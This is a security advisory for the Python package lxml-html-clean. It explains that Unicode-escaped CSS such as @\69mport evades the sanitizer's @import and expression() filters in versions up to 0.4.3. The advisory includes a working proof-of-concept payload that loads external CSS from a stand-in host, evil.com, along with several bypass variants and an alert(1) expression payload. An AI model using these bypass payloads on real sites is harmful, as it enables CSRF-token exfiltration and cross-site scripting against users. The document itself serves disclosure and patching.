GHSA-hw26-mmpg-fqfg

Suggest an improvement
Source
https://github.com/advisories/GHSA-hw26-mmpg-fqfg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-hw26-mmpg-fqfg/GHSA-hw26-mmpg-fqfg.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-hw26-mmpg-fqfg
Aliases
Downstream
CGA (2)
Published
2026-03-02T19:19:15Z
Modified
2026-09-10T03:50:39Z
Severity
  • 6.1 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVSS Calculator
Summary
lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
Details

Summary

The _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers.

Details

The root cause is located in clean.py (around line 594):

style = style.replace('\\', '')

This transformation changes a payload like @\69mport into @69mport. This resulting string does NOT match the blacklist keyword @import. However, all modern browsers' CSS parsers decode \69 as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting @\69mport as a valid @import statement.

Same root cause bypasses expression() detection: \65xpression(alert(1)) passes through (IE only).

PoC

from lxml_html_clean import clean_html

# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>

# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>

If rendered in a browser, the browser loads the external CSS. Variants like @\0069mport, @\69 mport (trailing space), and @\49mport (uppercase I) also work.

Impact

External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via expression().

Database specific
{
    "cwe_ids":  [
        "CWE-116"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-02T19:19:15Z",
    "nvd_published_at":  "2026-03-05T20:16:16Z",
    "severity":  "MODERATE"
}
References

Affected packages

PyPI / lxml-html-clean

Package

Name
lxml-html-clean
View open source insights on deps.dev
Purl
pkg:pypi/lxml-html-clean

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.4.4

Affected versions

0.*
0.1.0
0.1.1
0.2.0
0.2.1
0.2.2
0.3.0
0.3.1
0.4.0
0.4.1
0.4.2
0.4.3

Database specific

last_known_affected_version_range
"<= 0.4.3"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-hw26-mmpg-fqfg/GHSA-hw26-mmpg-fqfg.json"